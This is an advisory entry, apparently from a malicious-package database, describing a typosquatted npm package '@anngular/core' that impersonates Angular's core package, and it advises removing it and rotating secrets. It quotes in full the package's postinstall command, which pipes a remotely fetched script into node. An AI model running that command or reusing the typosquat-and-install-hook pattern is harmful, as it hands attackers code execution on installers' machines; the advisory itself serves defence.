What is MAL-2026-17540?
MAL-2026-17540 is a malicious package in @anngular/core, published on 5 Oct 2026.
Official description
Package name @anngular/core (double-n) impersonates @angular/core, copying its description 'Angular - the core framework' and author 'angular'. package.json declares a postinstall lifecycle script:
curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node. On npm install, this unconditionally fetches an unpinned JavaScript payload from a non-publisher gitflic.ru repository (proxied through web.archive.org to evade host-based filtering) and pipes it directly into node, giving the operator of that gitflic.ru project arbitrary code execution on the installer's machine. The payload is not shipped with the package, is not integrity-pinned, and can be mutated at any time by whoever controls the gitflic.ru project.What should I do about MAL-2026-17540?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.
